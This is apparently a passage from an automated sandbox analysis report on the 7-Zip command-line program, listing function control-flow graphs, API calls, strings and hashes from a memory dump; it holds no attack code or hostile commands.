                                                                                                                                                                                                                                                              control_flow_graph 2991 6f3e84-6f3eb5 2992 6f3ebb 2991->2992 2993 6f41e8 2991->2993 2994 6f3ebe-6f3efa fputs call 6f2e24 2992->2994 2995 6f41ea-6f41fd 2993->2995 2998 6f3efc-6f3f03 2994->2998 2999 6f3f51-6f3f59 2994->2999 3000 6f3f1f-6f3f4c call 6b3274 call 6f30cc free 2998->3000 3001 6f3f05-6f3f1d fputs call 6b2300 2998->3001 3002 6f3f5b-6f3f62 2999->3002 3003 6f3f64-6f3f6f 2999->3003 3000->2999 3001->2999 3004 6f3f73-6f3f9e call 6f2e24 call 6f3148 3002->3004 3003->3004 3015 6f3fd3-6f3fe3 call 6f3034 3004->3015 3016 6f3fa0-6f3fce fputs * 2 call 6b2640 call 6b2300 3004->3016 3020 6f3fe8-6f3fea 3015->3020 3016->3015 3020->2995 3022 6f3ff0-6f3ff7 3020->3022 3023 6f402c-6f403c 3022->3023 3024 6f3ff9-6f4027 fputs * 2 call 6b26a0 call 6b2300 3022->3024 3023->2995 3029 6f4042-6f4048 3023->3029 3024->3023 3030 6f40af-6f40b9 3029->3030 3031 6f404a-6f4079 3029->3031 3032 6f40bf-6f40e0 fputs 3030->3032 3033 6f419d-6f41b1 3030->3033 3036 6f407f-6f4096 call 6f3034 3031->3036 3037 6f41b9 3031->3037 3032->3033 3039 6f40e6-6f40fc 3032->3039 3033->2994 3035 6f41b7 3033->3035 3035->2993 3044 6f409c-6f40ad SysFreeString 3036->3044 3045 6f41bb 3036->3045 3041 6f41bd-6f41ca SysFreeString 3037->3041 3039->3033 3042 6f4102-6f4133 3039->3042 3041->2995 3047 6f41cc 3042->3047 3048 6f4139-6f4162 3042->3048 3044->3030 3044->3031 3045->3041 3049 6f41d9-6f41e6 SysFreeString 3047->3049 3051 6f41ce-6f41d8 call 6bae2c 3048->3051 3052 6f4164-6f4197 call 6f2ecc call 6bae2c SysFreeString 3048->3052 3049->2995 3051->3049 3052->3033 3052->3042
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: fputs$FreeString$fputcfree
                                                                                                                                                                                                                                                              • String ID: = $--$----$Path$Type$Warning: The archive is open with offset
                                                                                                                                                                                                                                                              • API String ID: 2701146716-1919703766
                                                                                                                                                                                                                                                              • Opcode ID: d0af8d30afaf3860d06d0172aa01809f7158207eed1de8f3100d6c3c0d1120ab
                                                                                                                                                                                                                                                              • Instruction ID: 28b5538de9532aec9734a4b6d3211ba19e1789afb271a098ce0aec53ad80b8e6
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: d0af8d30afaf3860d06d0172aa01809f7158207eed1de8f3100d6c3c0d1120ab
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 3A917A76614A8A82CB50EF22E8547BE7362F795BC4F005126EF5E87B28DF38D955CB00
                                                                                                                                                                                                                                                              Function 006BF71C Relevance: 30.0, APIs: 11, Strings: 6, Instructions: 218COMMON
                                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                                              • Executed
                                                                                                                                                                                                                                                              • Not Executed
                                                                                                                                                                                                                                                              control_flow_graph 3059 6bf71c-6bf74e call 6b1610 3062 6bf750-6bf773 call 6d02a0 _CxxThrowException 3059->3062 3063 6bf774-6bf7c2 _isatty * 3 3059->3063 3062->3063 3065 6bf7d4 3063->3065 3066 6bf7c4-6bf7c8 3063->3066 3067 6bf7d9-6bf81c 3065->3067 3066->3065 3069 6bf7ca-6bf7ce 3066->3069 3071 6bf82a 3067->3071 3072 6bf81e-6bf822 3067->3072 3069->3065 3070 6bf7d0-6bf7d2 3069->3070 3070->3067 3074 6bf830-6bf834 3071->3074 3072->3071 3073 6bf824-6bf828 3072->3073 3073->3071 3073->3074 3075 6bf83c-6bf846 3074->3075 3076 6bf836 3074->3076 3077 6bf848-6bf84e 3075->3077 3078 6bf854-6bf85e 3075->3078 3076->3075 3077->3078 3079 6bf86c-6bf876 3078->3079 3080 6bf860-6bf866 3078->3080 3081 6bf878-6bf87e 3079->3081 3082 6bf884-6bf88e 3079->3082 3080->3079 3081->3082 3083 6bf8f3-6bf8fd 3082->3083 3084 6bf890-6bf89d 3082->3084 3087 6bf91a-6bf931 call 6bac74 * 2 3083->3087 3088 6bf8ff-6bf917 3083->3088 3085 6bf8ab-6bf8be call 6bed34 3084->3085 3086 6bf89f-6bf8a9 3084->3086 3093 6bf8c0-6bf8e5 call 6d02a0 _CxxThrowException 3085->3093 3094 6bf8e6-6bf8ed 3085->3094 3086->3083 3097 6bf936-6bf940 3087->3097 3088->3087 3093->3094 3094->3083 3099 6bf9dd-6bf9e7 3097->3099 3100 6bf946-6bf95c 3097->3100 3103 6bf9ed-6bf9fa 3099->3103 3104 6bfa94-6bfa9c 3099->3104 3101 6bf95e-6bf963 3100->3101 3102 6bf965-6bf977 wcscmp 3100->3102 3105 6bf9bb-6bf9c2 call 6bad0c 3101->3105 3102->3105 3106 6bf979-6bf98c call 6bed34 3102->3106 3103->3104 3107 6bfa00-6bfa1c call 6b2bc8 call 6b2d34 3103->3107 3105->3099 3117 6bf9c4-6bf9d7 call 6fd4c0 call 6bac74 3105->3117 3114 6bf98e-6bf9b3 call 6d02a0 _CxxThrowException 3106->3114 3115 6bf9b4 3106->3115 3122 6bfa4f-6bfa74 call 6d02a0 _CxxThrowException 3107->3122 3123 6bfa1e-6bfa3b call 6b3f78 3107->3123 3114->3115 3115->3105 3117->3099 3131 6bfa75-6bfa8f GetCurrentProcess SetProcessAffinityMask free 3122->3131 3132 6bfa49-6bfa4d 3123->3132 3133 6bfa3d-6bfa46 3123->3133 3131->3104 3132->3122 3132->3131 3133->3132
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              • SeLockMemoryPrivilege, xrefs: 006BF9CB
                                                                                                                                                                                                                                                              • SeRestorePrivilege, xrefs: 006BF91C
                                                                                                                                                                                                                                                              • Unsupported switch postfix -bb, xrefs: 006BF8C3
                                                                                                                                                                                                                                                              • Unsupported switch postfix -stm, xrefs: 006BFA52
                                                                                                                                                                                                                                                              • SeCreateSymbolicLinkPrivilege, xrefs: 006BF92A
                                                                                                                                                                                                                                                              • Unsupported switch postfix for -slp, xrefs: 006BF991
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: ExceptionThrowfree$_isatty$Process$AffinityCurrentMaskwcscmp
                                                                                                                                                                                                                                                              • String ID: SeCreateSymbolicLinkPrivilege$SeLockMemoryPrivilege$SeRestorePrivilege$Unsupported switch postfix -bb$Unsupported switch postfix -stm$Unsupported switch postfix for -slp
                                                                                                                                                                                                                                                              • API String ID: 1961088698-2328792591
                                                                                                                                                                                                                                                              • Opcode ID: 9fbf6495933f589f3caaa937893ccbef6d2c554dfb66b53bc2ba33e20914ec5e
                                                                                                                                                                                                                                                              • Instruction ID: 80e203e8d3fb65ff66fadd02c455779fb5df323e127a68475c378608ba3c640a
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 9fbf6495933f589f3caaa937893ccbef6d2c554dfb66b53bc2ba33e20914ec5e
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 64A18EB3A08AC5D9EB61DF24E8903EC7B22E785B94F588176DB8C47725CF28C995C700
                                                                                                                                                                                                                                                              Function 006FA448 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 145COMMON
                                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                                              • Executed
                                                                                                                                                                                                                                                              • Not Executed
                                                                                                                                                                                                                                                              control_flow_graph 3134 6fa448-6fa455 3135 6fa49c-6fa4a4 3134->3135 3136 6fa457-6fa45f 3134->3136 3138 6fa4a6-6fa4a9 3135->3138 3139 6fa4f4 3135->3139 3136->3135 3137 6fa461-6fa495 call 6b2300 fputs call 6b26a0 call 6b2300 3136->3137 3137->3135 3142 6fa4df-6fa4e5 3138->3142 3143 6fa4ab-6fa4da call 6b2300 fputs call 6b26a0 call 6b2300 3138->3143 3141 6fa4fc-6fa50a 3139->3141 3145 6fa53d-6fa559 free 3141->3145 3146 6fa50c 3141->3146 3142->3141 3143->3142 3150 6fa58c-6fa5b5 free 3145->3150 3151 6fa55b 3145->3151 3149 6fa510-6fa526 3146->3149 3154 6fa538-6fa53b 3149->3154 3155 6fa528-6fa533 free * 2 3149->3155 3159 6fa5b7-6fa5be 3150->3159 3160 6fa5c5-6fa5c8 3150->3160 3156 6fa55f-6fa575 3151->3156 3154->3145 3154->3149 3155->3154 3163 6fa587-6fa58a 3156->3163 3164 6fa577-6fa582 free * 2 3156->3164 3159->3160 3165 6fa5c0 3159->3165 3167 6fa5ca-6fa5e6 _CxxThrowException 3160->3167 3168 6fa5e7-6fa603 free 3160->3168 3163->3150 3163->3156 3164->3163 3170 6fa5c0 call 6f66a8 3165->3170 3167->3168 3171 6fa626-6fa637 free call 6da13c 3168->3171 3172 6fa605 3168->3172 3170->3160 3175 6fa63c-6fa675 call 6f7080 call 6b182c call 6f7f50 3171->3175 3173 6fa609-6fa624 free 3172->3173 3173->3171 3173->3173 3182 6fa6a8-6fa6c9 free 3175->3182 3183 6fa677 3175->3183 3184 6fa67b-6fa691 3183->3184 3186 6fa6a3-6fa6a6 3184->3186 3187 6fa693-6fa69e free * 2 3184->3187 3186->3182 3186->3184 3187->3186
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free$fputs$ExceptionThrowfputc
                                                                                                                                                                                                                                                              • String ID: Errors: $Warnings:
                                                                                                                                                                                                                                                              • API String ID: 437615013-2345102087
                                                                                                                                                                                                                                                              • Opcode ID: c75879e89a0d6b0eb1bb642928b78a50b68f1ecf96ffdd04da6d3d4d6d5326dc
                                                                                                                                                                                                                                                              • Instruction ID: 43f82afe7083a62aa0aab9003763ac9f19f1ea2cc7a6ebc8a9b4b9970432cd35
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: c75879e89a0d6b0eb1bb642928b78a50b68f1ecf96ffdd04da6d3d4d6d5326dc
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: A351D5B27185C581CA70EB69F9A03FEA3A3F782780F444226DB9D47759CF38C8868705
                                                                                                                                                                                                                                                              Function 006D83C8 Relevance: 27.2, APIs: 13, Strings: 5, Instructions: 152COMMON
                                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                                              • Executed
                                                                                                                                                                                                                                                              • Not Executed
                                                                                                                                                                                                                                                              control_flow_graph 3188 6d83c8-6d841d call 6b6570 call 6b31c0 call 6b8624 3195 6d841f-6d844c call 6b31c0 call 6b86dc 3188->3195 3196 6d8482 3188->3196 3195->3196 3210 6d844e-6d847b call 6b31c0 call 6b86dc 3195->3210 3197 6d8485-6d8489 3196->3197 3199 6d8499-6d849d 3197->3199 3200 6d848b-6d8498 free 3197->3200 3202 6d84ad-6d84b1 3199->3202 3203 6d849f-6d84ac free 3199->3203 3200->3199 3205 6d84bd-6d84c0 3202->3205 3206 6d84b3-6d84b8 free 3202->3206 3203->3202 3208 6d85ef-6d8607 call 6b3314 free 3205->3208 3209 6d84c6-6d84ee call 6b3208 call 6d8290 3205->3209 3206->3205 3219 6d860a-6d8611 3208->3219 3222 6d851b-6d8538 call 6d8290 3209->3222 3223 6d84f0-6d8516 call 6b3314 free * 2 3209->3223 3210->3196 3224 6d847d-6d8480 3210->3224 3229 6d853a-6d8560 call 6b3314 free * 2 3222->3229 3230 6d8565-6d857b call 6d8290 3222->3230 3223->3219 3224->3197 3229->3219 3235 6d857d-6d85a3 call 6b3314 free * 2 3230->3235 3236 6d85a5-6d85bb call 6d8290 3230->3236 3235->3219 3241 6d85bd-6d85e3 call 6b3314 free * 2 3236->3241 3242 6d85e5-6d85ea free 3236->3242 3241->3219 3242->3208
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free$memmove
                                                                                                                                                                                                                                                              • String ID: 7z.dll$Codecs$Formats$Path$Path64
                                                                                                                                                                                                                                                              • API String ID: 1534225298-3804457719
                                                                                                                                                                                                                                                              • Opcode ID: 83274c2b3d544992283108eb9c5b7aa940d95cecb85798d2266b0b7fa0fa9ebc
                                                                                                                                                                                                                                                              • Instruction ID: b2d49336ec18b1e8f0c6efff37468628a38595a59309202c36bf90d604f19592
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 83274c2b3d544992283108eb9c5b7aa940d95cecb85798d2266b0b7fa0fa9ebc
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 9051A5A264494184CEA0EF15E8653EE6762D7C27E4F441216BB5E4777ACF38C6C7C708
                                                                                                                                                                                                                                                              Function 006DAB74 Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 268libraryloaderCOMMON
                                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                                              • Executed
                                                                                                                                                                                                                                                              • Not Executed
                                                                                                                                                                                                                                                              control_flow_graph 3245 6dab74-6daba4 3246 6daba6 3245->3246 3247 6dabd3-6dabf5 3245->3247 3248 6dabaa-6dabbc 3246->3248 3249 6dabfb 3247->3249 3250 6dae31-6dae78 call 6d83c8 call 6b31c0 call 6da7fc free 3247->3250 3251 6dabce-6dabd1 3248->3251 3252 6dabbe-6dabc9 call 6d94a8 free 3248->3252 3253 6dac02-6dacba call 6b3208 call 6b3518 call 6b3208 * 2 3249->3253 3268 6dae7f-6dae87 3250->3268 3269 6dae7a 3250->3269 3251->3247 3251->3248 3252->3251 3277 6dacbc-6dacc1 call 6b3518 3253->3277 3278 6dacc6-6daccd 3253->3278 3272 6dae99-6daeca call 6b31c0 call 6da9fc free 3268->3272 3273 6dae89-6dae94 call 6b339c 3268->3273 3271 6daf7a-6daf99 free 3269->3271 3288 6daecc 3272->3288 3289 6daed1-6daeee call 6b31c0 call 6da9fc 3272->3289 3273->3272 3277->3278 3281 6daccf-6dacd4 call 6b3518 3278->3281 3282 6dacd9-6dad35 call 6d9d98 free * 2 3278->3282 3281->3282 3291 6dad37-6dad4c call 6da034 3282->3291 3292 6dad51-6dad61 call 6b2130 3282->3292 3288->3271 3300 6daef3-6daf02 free 3289->3300 3299 6daddd-6dadf2 call 6b2130 3291->3299 3301 6dad6c 3292->3301 3302 6dad63-6dad6a 3292->3302 3311 6dadf4-6dae01 call 6d9af0 3299->3311 3312 6dae03 3299->3312 3304 6daf04 3300->3304 3305 6daf06-6daf10 3300->3305 3306 6dad6f-6dad8b call 6bb8f0 3301->3306 3302->3306 3304->3271 3308 6daf18-6daf1b 3305->3308 3309 6daf12-6daf16 3305->3309 3317 6dadbd-6dadc0 3306->3317 3318 6dad8d-6dad93 3306->3318 3313 6daf2a-6daf2e 3308->3313 3315 6daf1d-6daf24 3308->3315 3309->3313 3319 6dae06-6dae2b call 6bb8f0 call 6d94a8 3311->3319 3312->3319 3321 6daf77 3313->3321 3322 6daf30-6daf36 3313->3322 3315->3313 3320 6daf26 3315->3320 3328 6dadda 3317->3328 3329 6dadc2-6dadd3 memmove 3317->3329 3324 6dad95-6dad9a free 3318->3324 3325 6dada1-6dadac 3318->3325 3319->3250 3319->3253 3320->3313 3321->3271 3322->3321 3327 6daf38 3322->3327 3324->3325 3330 6dadae-6dadb9 call 6b2130 3325->3330 3331 6dadd5-6dadd8 3325->3331 3333 6daf3b-6daf5a GetProcAddress 3327->3333 3328->3299 3329->3299 3330->3317 3331->3299 3336 6daf5c-6daf64 3333->3336 3337 6daf66-6daf6f 3333->3337 3336->3337 3342 6daf73-6daf75 3336->3342 3337->3333 3338 6daf71 3337->3338 3338->3321 3342->3271
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006DABC9
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006DACF3
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006DACFE
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006DAD95
                                                                                                                                                                                                                                                              • memmove.MSVCRT(?), ref: 006DADCB
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006DAE70
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006DAF7F
                                                                                                                                                                                                                                                                • Part of subcall function 006D94A8: free.MSVCRT ref: 006D94DB
                                                                                                                                                                                                                                                                • Part of subcall function 006D94A8: free.MSVCRT ref: 006D94E3
                                                                                                                                                                                                                                                                • Part of subcall function 006D94A8: free.MSVCRT ref: 006D94F0
                                                                                                                                                                                                                                                                • Part of subcall function 006D94A8: free.MSVCRT ref: 006D951C
                                                                                                                                                                                                                                                                • Part of subcall function 006D94A8: free.MSVCRT ref: 006D9525
                                                                                                                                                                                                                                                                • Part of subcall function 006D94A8: free.MSVCRT ref: 006D952D
                                                                                                                                                                                                                                                                • Part of subcall function 006D94A8: free.MSVCRT ref: 006D953A
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006DAEC2
                                                                                                                                                                                                                                                                • Part of subcall function 006B339C: free.MSVCRT ref: 006B33D7
                                                                                                                                                                                                                                                                • Part of subcall function 006B339C: memmove.MSVCRT(00000000,?,?,00000000,006B10A8), ref: 006B33F2
                                                                                                                                                                                                                                                                • Part of subcall function 006DA9FC: free.MSVCRT ref: 006DAA95
                                                                                                                                                                                                                                                                • Part of subcall function 006DA9FC: free.MSVCRT ref: 006DAAC5
                                                                                                                                                                                                                                                                • Part of subcall function 006DA9FC: free.MSVCRT ref: 006DAAD2
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006DAEFA
                                                                                                                                                                                                                                                              • GetProcAddress.KERNEL32 ref: 006DAF4D
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free$memmove$AddressProc
                                                                                                                                                                                                                                                              • String ID: 7z.dll$Codecs\$Formats\$SetCodecs
                                                                                                                                                                                                                                                              • API String ID: 4053071709-2499791885
                                                                                                                                                                                                                                                              • Opcode ID: 9289078346de572c99ec9685dbc78485ff94832fd4c5465191724674782d05d5
                                                                                                                                                                                                                                                              • Instruction ID: 5766263572d483339b93eaf4512c09aff9b8fbe2fc64457ff9f63299b3dcf554
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 9289078346de572c99ec9685dbc78485ff94832fd4c5465191724674782d05d5
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 52B1B1B6A086C196CB70EB65E4503AFB362F381788F504116EB8E47B25CF7CD59AC705
                                                                                                                                                                                                                                                              Function 006F1850 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 122COMMON
                                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                                              • Executed
                                                                                                                                                                                                                                                              • Not Executed
                                                                                                                                                                                                                                                              control_flow_graph 3343 6f1850-6f1886 EnterCriticalSection 3344 6f1888-6f188e call 6fb1c8 3343->3344 3345 6f18b1-6f18bb 3343->3345 3349 6f1893-6f18ac 3344->3349 3347 6f18bd call 6b22e4 3345->3347 3348 6f18c2-6f18c4 3345->3348 3347->3348 3351 6f18ca-6f18d2 3348->3351 3352 6f1991-6f199e 3348->3352 3349->3345 3353 6f191a-6f192b 3351->3353 3354 6f18d4-6f18da 3351->3354 3355 6f1a4e-6f1a57 LeaveCriticalSection 3352->3355 3356 6f19a4-6f19a7 3352->3356 3359 6f192d-6f193a call 6b2300 3353->3359 3360 6f196a-6f1974 3353->3360 3354->3353 3361 6f18dc-6f18e2 3354->3361 3357 6f1a59-6f1a62 3355->3357 3356->3355 3358 6f19ad-6f19b7 3356->3358 3362 6f19b9-6f19d7 call 6b2300 fputs 3358->3362 3363 6f1a31-6f1a4c LeaveCriticalSection 3358->3363 3359->3360 3373 6f193c-6f1965 fputs call 6b26a0 call 6b2300 3359->3373 3360->3363 3365 6f197a-6f1981 3360->3365 3366 6f18ed 3361->3366 3367 6f18e4-6f18eb 3361->3367 3376 6f19d9-6f19f0 fputs 3362->3376 3377 6f19f2-6f1a14 call 6b6618 call 6b2320 free 3362->3377 3363->3357 3365->3363 3370 6f1987-6f198c call 6b22e4 3365->3370 3371 6f18f4-6f18fe 3366->3371 3367->3371 3370->3363 3371->3360 3375 6f1900-6f1913 fputs call 6b2300 3371->3375 3373->3360 3381 6f1918 3375->3381 3382 6f1a19-6f1a2c call 6b2300 call 6b22e4 3376->3382 3377->3382 3381->3360 3382->3363
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • EnterCriticalSection.KERNEL32 ref: 006F1877
                                                                                                                                                                                                                                                              • fputs.MSVCRT ref: 006F190A
                                                                                                                                                                                                                                                              • LeaveCriticalSection.KERNEL32 ref: 006F1A44
                                                                                                                                                                                                                                                                • Part of subcall function 006FB1C8: memset.MSVCRT ref: 006FB20D
                                                                                                                                                                                                                                                                • Part of subcall function 006FB1C8: fputs.MSVCRT ref: 006FB232
                                                                                                                                                                                                                                                              • fputs.MSVCRT ref: 006F194D
                                                                                                                                                                                                                                                                • Part of subcall function 006B26A0: fputs.MSVCRT ref: 006B26C1
                                                                                                                                                                                                                                                              • fputs.MSVCRT ref: 006F19CB
                                                                                                                                                                                                                                                              • fputs.MSVCRT ref: 006F19EA
                                                                                                                                                                                                                                                              • LeaveCriticalSection.KERNEL32 ref: 006F1A51
                                                                                                                                                                                                                                                                • Part of subcall function 006B2300: fputc.MSVCRT ref: 006B2311
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006F1A14
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: fputs$CriticalSection$Leave$Enterfputcfreememset
                                                                                                                                                                                                                                                              • String ID: Can't allocate required memory!$ERROR: $Everything is Ok$Sub items Errors: $p
                                                                                                                                                                                                                                                              • API String ID: 676172275-580504279
                                                                                                                                                                                                                                                              • Opcode ID: 2cc58bddada0519040ac4fc79ebe370a0d8e08b52278b0a9666f8cd599c93609
                                                                                                                                                                                                                                                              • Instruction ID: 87d5ca3265df0d7a86da15b89776eb9e5f5949175564db961baf18c7dcdfc2f4
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 2cc58bddada0519040ac4fc79ebe370a0d8e08b52278b0a9666f8cd599c93609
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: D45181B2305A86D2DB1D9F25E9A03FD6362FB46B90F444226DB2E4B350CF78D4A5C354
                                                                                                                                                                                                                                                              Function 006D38E8 Relevance: 22.8, APIs: 13, Strings: 2, Instructions: 262COMMON
                                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                                              • Executed
                                                                                                                                                                                                                                                              • Not Executed
